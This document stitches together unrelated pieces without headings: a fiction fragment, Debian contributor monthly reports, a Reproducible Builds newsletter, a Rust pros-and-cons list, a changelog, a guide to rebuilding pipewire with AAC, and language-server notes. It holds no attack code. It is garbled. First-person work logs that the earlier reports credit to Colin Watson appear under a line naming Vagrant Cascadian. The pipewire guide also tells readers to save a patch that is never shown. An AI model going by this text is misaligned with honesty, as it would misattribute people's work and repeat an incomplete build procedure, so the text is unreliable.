There was no way of telling when the threshold would be reached. Perhaps not for hours, and perhaps the next moment. Biron remained standing helplessly, flashlight held loosely in his damp hands. Half an hour before, the visiphone had awakened him, and he had been at peace then. Now he knew he was going to die. Biron didn't want to die, but he was penned in hopelessly, and there was no place to hide.

SSO Authentication for jitsi.debian.social, by Stefano Rivera Debian.social s jitsi instance has been getting some abuse by (non-Debian) people sharing sexually explicit content on the service. After playing whack-a-mole with this for a month, and shutting the instance off for another month, we opened it up again and the abuse immediately re-started. Stefano sat down and wrote an SSO Implementation that hooks into Jitsi s existing JWT SSO support. This requires everyone using jitsi.debian.social to have a Salsa account. With only a little bit of effort, we could change this in future, to only require an account to open a room, and allow guests to join the call.

/usr-move, by Helmut Grohne The biggest task this month was sending mitigation patches for all of the /usr-move issues arising from package renames due to the 2038 transition. As a result, we can now say that every affected package in unstable can either be converted with dh-sequence-movetousr or has an open bug report. The package set relevant to debootstrap except for the set that has to be uploaded concurrently has been moved to /usr and is awaiting migration. The move of coreutils happened to affect piuparts which hard codes the location of /bin/sync and received multiple updates as a result.

Miscellaneous contributions

• Stefano Rivera uploaded a stable release update to python3.11 for bookworm, fixing a use-after-free crash.
• Stefano uploaded a new version of python-html2text, and updated python3-defaults to build with it.
• In support of Python 3.12, Stefano dropped distutils as a Build-Dependency from a few packages, and uploaded a complex set of patches to python-mitogen.
• Stefano landed some merge requests to clean up dead code in dh-python, removed the flit plugin, and uploaded it.
• Stefano uploaded new upstream versions of twisted, hatchling, python-flexmock, python-authlib, python mitogen, python-pipx, and xonsh.
• Stefano requested removal of a few packages supporting the Opsis HDMI2USB hardware that DebConf Video team used to use for HDMI capture, as they are not being maintained upstream. They started to FTBFS, with recent sdcc changes.
• DebConf 24 is getting ready to open registration, Stefano spent some time fixing bugs in the website, caused by infrastructure updates.
• Stefano reviewed all the DebConf 23 travel reimbursements, filing requests for more information from SPI where our records mismatched.
• Stefano spun up a Wafer website for the Berlin 2024 mini DebConf.
• Roberto C. S nchez worked on facilitating the transfer of upstream maintenance responsibility for the dormant Shorewall project to a new team led by the current maintainer of the Shorewall packages in Debian.
• Colin Watson fixed build failures in celery-haystack-ng, db1-compat, jsonpickle, libsdl-perl, kali, knews, openssh-ssh1, python-json-log-formatter, python-typing-extensions, trn4, vigor, and wcwidth. Some of these were related to the 64-bit time_t transition, since that involved enabling -Werror=implicit-function-declaration.
• Colin fixed an off-by-one error in neovim, which was already causing a build failure in Ubuntu and would eventually have caused a build failure in Debian with stricter toolchain settings.
• Colin added an sshd@.service template to openssh to help newer systemd versions make containers and VMs SSH-accessible over AF_VSOCK sockets.
• Following the xz-utils backdoor, Colin spent some time testing and discussing OpenSSH upstream s proposed inline systemd notification patch, since the current implementation via libsystemd was part of the attack vector used by that backdoor.
• Utkarsh reviewed and sponsored some Go packages for Lena Voytek and Rajudev.
• Utkarsh also helped Mitchell Dzurick with the adoption of pyparted package.
• Helmut sent 10 patches for cross build failures.
• Helmut partially fixed architecture cross bootstrap tooling to deal with changes in linux-libc-dev and the recent gcc-for-host changes and also fixed a 64bit-time_t FTBFS in libtextwrap.
• Thorsten Alteholz uploaded several packages from debian-printing: cjet, lprng, rlpr and epson-inkjet-printer-escpr were affected by the newly enabled compiler switch -Werror=implicit-function-declaration. Besides fixing these serious bugs, Thorsten also worked on other bugs and could fix one or the other.
• Carles updated simplemonitor and python-ring-doorbell packages with new upstream versions.
• Santiago is still working on the Salsa CI MRs to adapt the build jobs so they can rely on sbuild. Current work includes adapting the images used by the build job, implementing the basic sbuild support the related jobs, and adjusting the support for experimental and *-backports releases..
  Additionally, Santiago reviewed some MR such as Make timeout action explicit in the logs and the subsequent Implement conditional timeout verbosity, and the batch of MRs included in https://salsa.debian.org/salsa-ci-team/pipeline/-/merge_requests/482.
• Santiago also reviewed applications for the improving Salsa CI in Debian GSoC 2024 project. We received applications from four very talented candidates. The selection process is currently ongoing. A huge thanks to all of them!
• As part of the DebConf 24 organization, Santiago has taken part in the Content team discussions.

• Python team:
  • I updated zope.testrunner to 6.4.
  • I fixed a build failure in celery-haystack-ng, which included an upstream change to stop using d2to1.
  • I backported an upstream change to fix a build failure in python-json-log-formatter.
  • I updated python-typing-extensions to 4.10.0 to fix a build failure.
  • I updated wcwidth to 0.2.13 to fix a build failure, which included rewriting the Debian patches to update-tables.
  • I updated jsonpickle to 3.0.3 to fix a build failure. As part of this I also needed to fix its tests for new timezone name policies.
• man-db:
  • I updated man(1) with updated information about groff.
  • I documented italic support in man(1).
  • I started on a 2.12.1 release (currently waiting for translations).
• openssh:
  • I added an sshd@.service template to help newer versions of systemd make containers and VMs SSH-accessible over AF_VSOCK sockets.
  • I upgraded openssh to 9.7p1. As part of this I noticed a small bug in the PuTTY version detection in its regression tests.
  • I helped with the 64-bit time_t transition by applying a patch from Simon McVittie to temporarily disable ssh-askpass-gnome on the affected architectures.
  • I re-enabled interoperability tests with Twisted Conch.
  • Following the xz-utils backdoor, I spent some time testing OpenSSH upstream s proposed inline systemd notification patch and suggested a small adjustment.
• debconf:
  • I fixed dpkg-preconfigure to not produce errors when run from a non-existing directory.
• parted:
  • I applied a patch from Helmut Grohne to move files to /usr.
• I fixed an off-by-one error in neovim.
• I fixed a number of -Werror=implicit-function-declaration failures (db1-compat, kali, knews, openssh-ssh1, trn4, vigor).
• I fixed a build failure in libsdl-perl, including a reference-counting fix contributed upstream.
• I suggested an rrsync change to make it easier to use it with rsbackup.

• don t have to care about GC eating too much of your multi-threaded RTS.
• can be happy that there s lots of activity and buzz around the language.
• can be happy for generating very small, efficient binaries that feel right at home on Raspberry Pi, especially not the 5.
• are very happy that error handling is done right (Option and Result, not like Go )

• there are no actual monads; the ? operator kind-of-looks-like being in do blocks, but only and only for Option and Result, sadly.
• there s no Stackage, it s like having only Hackage available, and you can hope all packages work together well.
• most packaging is designed to work only against upstream/online crates.io, so offline packaging is doable but not native (from what I ve seen).

Reproducible Builds at FOSDEM 2024 Core Reproducible Builds developer Holger Levsen presented at the main track at FOSDEM on Saturday 3rd February this year in Brussels, Belgium. However, that wasn t the only talk related to Reproducible Builds. However, please see our comprehensive FOSDEM 2024 news post for the full details and links.

Maintainer Perspectives on Open Source Software Security Bernhard M. Wiedemann spotted that a recent report entitled Maintainer Perspectives on Open Source Software Security written by Stephen Hendrick and Ashwin Ramaswami of the Linux Foundation sports an infographic which mentions that 56% of [polled] projects support reproducible builds .

Three new reproducibility-related academic papers A total of three separate scholarly papers related to Reproducible Builds have appeared this month: Signing in Four Public Software Package Registries: Quantity, Quality, and Influencing Factors by Taylor R. Schorlemmer, Kelechi G. Kalu, Luke Chigges, Kyung Myung Ko, Eman Abdul-Muhd, Abu Ishgair, Saurabh Bagchi, Santiago Torres-Arias and James C. Davis (Purdue University, Indiana, USA) is concerned with the problem that:

Package maintainers can guarantee package authorship through software signing [but] it is unclear how common this practice is, and whether the resulting signatures are created properly. Prior work has provided raw data on signing practices, but measured single platforms, did not consider time, and did not provide insight on factors that may influence signing. We lack a comprehensive, multi-platform understanding of signing adoption and relevant factors. This study addresses this gap. (arXiv, full PDF)

Reproducibility of Build Environments through Space and Time by Julien Malka, Stefano Zacchiroli and Th o Zimmermann (Institut Polytechnique de Paris, France) addresses:

[The] principle of reusability [ ] makes it harder to reproduce projects build environments, even though reproducibility of build environments is essential for collaboration, maintenance and component lifetime. In this work, we argue that functional package managers provide the tooling to make build environments reproducible in space and time, and we produce a preliminary evaluation to justify this claim.

The abstract continues with the claim that Using historical data, we show that we are able to reproduce build environments of about 7 million Nix packages, and to rebuild 99.94% of the 14 thousand packages from a 6-year-old Nixpkgs revision. (arXiv, full PDF)
Options Matter: Documenting and Fixing Non-Reproducible Builds in Highly-Configurable Systems by Georges Aaron Randrianaina, Djamel Eddine Khelladi, Olivier Zendra and Mathieu Acher (Inria centre at Rennes University, France):

This paper thus proposes an approach to automatically identify configuration options causing non-reproducibility of builds. It begins by building a set of builds in order to detect non-reproducible ones through binary comparison. We then develop automated techniques that combine statistical learning with symbolic reasoning to analyze over 20,000 configuration options. Our methods are designed to both detect options causing non-reproducibility, and remedy non-reproducible configurations, two tasks that are challenging and costly to perform manually. (HAL Portal, full PDF)

Mailing list highlights From our mailing list this month:

• User cen posted a query asking How to verify a package by rebuilding it locally on Debian which received a followup from Vagrant Cascadian.
• James Addison asked Two questions about build-path reproducibility in Debian regarding the differences in the testing performed by Debian s GitLab continuous integration (CI) pipeline and the Debian-specific testing performed by the Reproducible Builds project itself, and followed this with a separate but related question regarding misconfigured reprotest configurations.

Distribution work In Debian this month, 5 reviews of Debian packages were added, 22 were updated and 8 were removed this month adding to Debian s knowledge about identified issues. A number of issue types were updated as well. [ ][ ][ ][ ] In addition, Roland Clobus posted his 23rd update of the status of reproducible ISO images on our mailing list. In particular, Roland helpfully summarised that all major desktops build reproducibly with bullseye, bookworm, trixie and sid provided they are built for a second time within the same DAK run (i.e. [within] 6 hours) and that there will likely be further work at a MiniDebCamp in Hamburg. Furthermore, Roland also responded in-depth to a query about a previous report
Fedora developer Zbigniew J drzejewski-Szmek announced a work-in-progress script called fedora-repro-build that attempts to reproduce an existing package within a koji build environment. Although the projects README file lists a number of fields will always or almost always vary and there is a non-zero list of other known issues, this is an excellent first step towards full Fedora reproducibility.
Jelle van der Waa introduced a new linter rule for Arch Linux packages in order to detect cache files leftover by the Sphinx documentation generator which are unreproducible by nature and should not be packaged. At the time of writing, 7 packages in the Arch repository are affected by this.
Elsewhere, Bernhard M. Wiedemann posted another monthly update for his work elsewhere in openSUSE.

diffoscope diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes such as uploading versions 256, 257 and 258 to Debian and made the following additional changes:

• Use a deterministic name instead of trusting gpg s use-embedded-filenames. Many thanks to Daniel Kahn Gillmor dkg@debian.org for reporting this issue and providing feedback. [ ][ ]
• Don t error-out with a traceback if we encounter struct.unpack-related errors when parsing Python .pyc files. (#1064973). [ ]
• Don t try and compare rdb_expected_diff on non-GNU systems as %p formatting can vary, especially with respect to MacOS. [ ]
• Fix compatibility with pytest 8.0. [ ]
• Temporarily fix support for Python 3.11.8. [ ]
• Use the 7zip package (over p7zip-full) after a Debian package transition. (#1063559). [ ]
• Bump the minimum Black source code reformatter requirement to 24.1.1+. [ ]
• Expand an older changelog entry with a CVE reference. [ ]
• Make test_zip black clean. [ ]

In addition, James Addison contributed a patch to parse the headers from the diff(1) correctly [ ][ ] thanks! And lastly, Vagrant Cascadian pushed updates in GNU Guix for diffoscope to version 255, 256, and 258, and updated trydiffoscope to 67.0.6.

reprotest reprotest is our tool for building the same source code twice in different environments and then checking the binaries produced by each build for any differences. This month, Vagrant Cascadian made a number of changes, including:

• Create a (working) proof of concept for enabling a specific number of CPUs. [ ][ ]
• Consistently use 398 days for time variation rather than choosing randomly and update README.rst to match. [ ][ ]
• Support a new --vary=build_path.path option. [ ][ ][ ][ ]

Website updates There were made a number of improvements to our website this month, including:

• Chris Lamb:
  • Improve the relative sizing of headers. [ ]
  • Re-order and punch up the introduction and documentation on the SOURCE_DATE_EPOCH page. [ ]
  • Update SOURCE_DATE_EPOCH documentation re. datetime.datetime.fromtimestamp. Thanks, James Addison. [ ]
  • Add a post about Reproducible Builds at FOSDEM 2024. [ ]
• Holger Levsen:
  • Update the GNU Guix page to include their reproducibility QA page. [ ]
  • Add Sune Vuorela and Jan-Benedict Glaw to our contributors list. [ ][ ]
• Mattia Rizzolo:
  • Add Sovereign Tech Fund s logo to our sponsors. [ ]
  • Update our sponsors list. [ ]

Reproducibility testing framework The Reproducible Builds project operates a comprehensive testing framework (available at tests.reproducible-builds.org) in order to check packages and other artifacts for reproducibility. In February, a number of changes were made by Holger Levsen:

• Debian-related changes:
  • Temporarily disable upgrading/bootstrapping Debian unstable and experimental as they are currently broken. [ ][ ]
  • Use the 64-bit amd64 kernel on all i386 nodes; no more 686 PAE kernels. [ ]
  • Add an Erlang package set. [ ]
• Other changes:
  • Grant Jan-Benedict Glaw shell access to the Jenkins node. [ ]
  • Enable debugging for NetBSD reproducibility testing. [ ]
  • Use /usr/bin/du --apparent-size in the Jenkins shell monitor. [ ]
  • Revert reproducible nodes: mark osuosl2 as down . [ ]
  • Thanks again to Codethink, for they have doubled the RAM on our arm64 nodes. [ ]
  • Only set /proc/$pid/oom_score_adj to -1000 if it has not already been done. [ ]
  • Add the opemwrt-target-tegra and jtx task to the list of zombie jobs. [ ][ ]

Vagrant Cascadian also made the following changes:

• I added Incus support to autopkgtest. Incus is a system container and virtual machine manager, forked from Canonical s LXD. I switched my laptop over to it and then quickly found that it was inconvenient not to be able to run Debian package test suites using autopkgtest, so I tweaked autopkgtest s existing LXD integration to support using either LXD or Incus.
• I discovered Perl::Critic and used it to tidy up some poor practices in several of my packages, including debconf. Perl used to be my language of choice but I ve been mostly using Python for over a decade now, so I m not as fluent as I used to be and some mechanical assistance with spotting common errors is helpful; besides, I m generally a big fan of applying static analysis to everything possible in the hope of reducing bug density. Of course, this did result in a couple of regressions (1, 2), but at least we caught them fairly quickly.
• I did some overdue debconf maintenance, mainly around tidying up error message handling in several places (1, 2, 3).
• I did some routine maintenance to move several of my upstream projects to a new Gnulib stable branch.
• debmirror includes a useful summary of how big a Debian mirror is, but it hadn t been updated since 2010 and the script to do so had bitrotted quite badly. I fixed that and added a recurring task for myself to refresh this every six months.

• Some time back I added AppArmor and seccomp confinement to man-db. This was mainly motivated by a desire to support manual pages in snaps (which is still open several years later ), but since reading manual pages involves a non-trivial text processing toolchain mostly written in C++, I thought it was reasonable to assume that some day it might have a vulnerability even though its track record has been good; so man now restricts the system calls that groff can execute and the parts of the file system that it can access. I stand by this, but it did cause some problems that have needed a succession of small fixes over the years. This month I issued DLA-3731-1, backporting some of those fixes to buster.
• I spent some time chasing a console-setup build failure following the removal of kFreeBSD support, which was uploaded by mistake. I suggested a set of fixes for this, but the author of the change to remove kFreeBSD support decided to take a different approach (fair enough), so I ve abandoned this.
• I updated the Debian zope.testrunner package to 6.3.1.
• openssh:
  • A Freexian collaborator had a problem with automating installations involving changes to /etc/ssh/sshd_config. This turned out to be resolvable without any changes, but in the process of investigating I noticed that my dodgy arrangements to avoid ucf prompts in certain cases had bitrotted slightly, which meant that some people might be prompted unnecessarily. I fixed this and arranged for it not to happen again.
  • Following a recent debian-devel discussion, I realized that some particularly awkward code in the OpenSSH packaging was now obsolete, and removed it.
• I backported a python-channels-redis fix to bookworm. I wasn t the first person to run into this, but I rediscovered it while working on debusine and it was confusing enough that it seemed worth fixing in stable.
• I fixed a simple build failure in storm.
• I dug into a very confusing cluster of celery build failures (1, 2, 3), and tracked the hardest bit down to a Python 3.12 regression, now fixed in unstable thanks to Stefano Rivera. Getting celery back into testing is blocked on the 64-bit time_t transition for now, but once that s out of the way it should flow smoothly again.

Changes in RcppArmadillo version 0.12.8.1.0 (2024-03-02)

• Upgraded to Armadillo release 12.8.1 (Cortisol Injector)
  • Workaround in norm() for yet another bug in macOS accelerate framework
• Update README for RcppArmadillo usage counts
• Update examples to use '#include <RcppArmadillo/Lighter>' for faster compilation excluding unused Rcpp features

How to Fix it Yourself If what you, like me, need is simply for Bluetooth Audio to work with AAC in Debian s default desktop environment², then you ll need to rebuild the pipewire package to include the AAC codec. While the current version in Debian main has been built with AAC deliberately disabled, it is trivial to enable if you can install a version of the fdk-aac library. I preface this with the usual caveats when it comes to patent and licensing controversies. I am not a lawyer, building this package and/or using it could get you into legal trouble. These instructions have only been tested on an up-to-date copy of Debian 12.

1. Install pipewire s build dependencies

   sudo apt install build-essential devscripts
   sudo apt build-dep pipewire
   

2. Install libfdk-aac-dev

   sudo apt install libfdk-aac-dev
   

   If the above doesn t work you ll likely need to enable non-free and try again

   sudo sed -i 's/main/main non-free/g' /etc/apt/sources.list
   sudo apt update
   

   Alternatively, if you wish to ensure you are maximally license-compliant and patent un-infringing³, you can instead build fdk-aac-free which includes only those components of AAC that are known to be patent-free³. This is what should eventually end up in Debian to resolve this problem (see below).

   sudo apt install git-buildpackage
   mkdir fdk-aac-source
   cd fdk-aac-source
   git clone https://salsa.debian.org/multimedia-team/fdk-aac
   cd fdk-aac
   gbp buildpackage
   sudo dpkg -i ../libfdk-aac2_*deb ../libfdk-aac-dev_*deb
   

3. Get the pipewire source code

   mkdir pipewire-source
   cd pipewire-source
   apt source pipewire
   

   This will create a bunch of files within the pipewire-source directory, but you ll only need the pipewire-<version> folder, this contains all the files you ll need to build the package, with all the debian-specific patches already applied. Note that you don t want to run the apt source command as root, as it will then create files that your regular user cannot edit.
4. Fix the dependencies and build options To fix up the build scripts to use the fdk-aac library, you need to save the following as pipewire-source/aac.patch

   Then you ll need to run patch from within the pipewire-<version> folder created by apt source:

   patch -p0 < ../aac.patch
   

5. Build pipewire

   cd pipewire-*
   debuild
   

   Note that you will likely see an error from debsign at the end of this process, this is harmless, you simply don t have a GPG key set up to sign your newly-built package⁴. Packages don t need to be signed to be installed, and debsign uses a somewhat non-standard signing process that dpkg does not check anyway.

1. Install libspa-0.2-bluetooth

   sudo dpkg -i libspa-0.2-bluetooth_*.deb
   

2. Restart PipeWire and/or Reboot

   sudo reboot
   

   Theoretically there s a set of services to restart here that would get pipewire to pick up the new library, probably just pipewire itself. But it s just as easy to restart and ensure everything is using the correct library.

Why This is a slightly unusual situation, as the fdk-aac library is licensed under what even the GNU project acknowledges is a free software license. However, this license explicitly informs the user that they need to acquire a patent license to use this software⁵:

3. NO PATENT LICENSE NO EXPRESS OR IMPLIED LICENSES TO ANY PATENT CLAIMS, including without limitation the patents of Fraunhofer, ARE GRANTED BY THIS SOFTWARE LICENSE. Fraunhofer provides no warranty of patent non-infringement with respect to this software. You may use this FDK AAC Codec software or modifications thereto only for purposes that are authorized by appropriate patent licenses.

To quote the GNU project:

Because of this, and because the license author is a known patent aggressor, we encourage you to be careful about using or redistributing software under this license: you should first consider whether the licensor might aim to lure you into patent infringement.

AAC is covered by a number of patents, which expire at some point in the 2030s⁶. As such the current version of the library is potentially legally dubious to ship with any other software, as it could be considered patent-infringing³.

Fedora s solution Since 2017, Fedora has included a modified version of the library as fdk-aac-free, see the announcement and the bugzilla bug requesting review. This version of the library includes only the AAC LC profile, which is believed to be entirely patent-free³. Based on this, there is an open bug report in Debian requesting that the fdk-aac package be moved to the main component and that the pipwire package be updated to build against it.

The Debian NEW queue To resolve these bugs, a version of fdk-aac-free has been uploaded to Debian by Jeremy Bicha. However, to make it into Debian proper, it must first pass through the ftpmaster s NEW queue. The current version of fdk-aac-free has been in the NEW queue since July 2023. Based on conversations in some of the bugs above, it s been there since at least 2022⁷. I hope this helps anyone stuck with AAC to get their hardware working for them while we wait for the package to eventually make it through the NEW queue. Discuss on Hacker News

1. Such as, for example, any Apple AirPods, which only support AAC AFAICT.
2. Which, as of Debian 12 is GNOME 3 under Wayland with PipeWire.
3. I m not a lawyer, I don t know what kinds of infringement might or might not be possible here, do your own research, etc. ^{2 3 4}
4. And if you DO have a key setup with debsign you almost certainly don t need these instructions.
5. This was originally phrased as explicitly does not grant any patent rights. It was pointed out on Hacker News that this is not exactly what it says, as it also includes a specific note that you ll need to acquire your own patent license. I ve now quoted the relevant section of the license for clarity.
6. Wikipedia claims the base patents expire in 2031, with the extensions expiring in 2038, but its source for these claims is some guy s spreadsheet in a forum. The same discussion also brings up Wikipedia s claim and casts some doubt on it, so I m not entirely sure what s correct here, but I didn t feel like doing a patent deep-dive today. If someone can provide a clear answer that would be much appreciated.
7. According to Jeremy B cha: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1021370#17

• The X- style prefixes for field names are now understood and handled. This means the language server now considers XC-Package-Type the same as Package-Type.

• More diagnostics:

  • Fields without values now trigger an error marker
  • Duplicated fields now trigger an error marker
  • Fields used in the wrong paragraph now trigger an error marker
  • Typos in field names or values now trigger a warning marker. For field names, X- style prefixes are stripped before typo detection is done.
  • The value of the Section field is now validated against a dataset of known sections and trigger a warning marker if not known.

• The "on-save trim end of line whitespace" now works. I had a logic bug in the server side code that made it submit "no change" edits to the editor.

• The language server now provides "hover" documentation for field names. There is a small screenshot of this below. Sadly, emacs does not support markdown or, if it does, it does not announce the support for markdown. For now, all the documentation is always in markdown format and the language server will tag it as either markdown or plaintext depending on the announced support.

• The language server now provides quick fixes for some of the more trivial problems such as deprecated fields or typos of fields and values.

• Added more known fields including the XS-Autobuild field for non-free packages along with a link to the relevant devref section in its hover doc.

• [X] No errors are raised if a field does not have a value.
• [X] No errors are raised if a field is duplicated inside a paragraph.
• [X] No errors are used if a field is used in the wrong paragraph.
• [ ] No spellchecking of the Description field.
• [X] No understanding that Foo and X[CBS]-Foo are related. As an example, XC-Package-Type is completely ignored despite being the old name for Package-Type.
• [X] Fixed the on-save trim end of line whitespace. Bug in the server end.
• [X] Hover text for field names
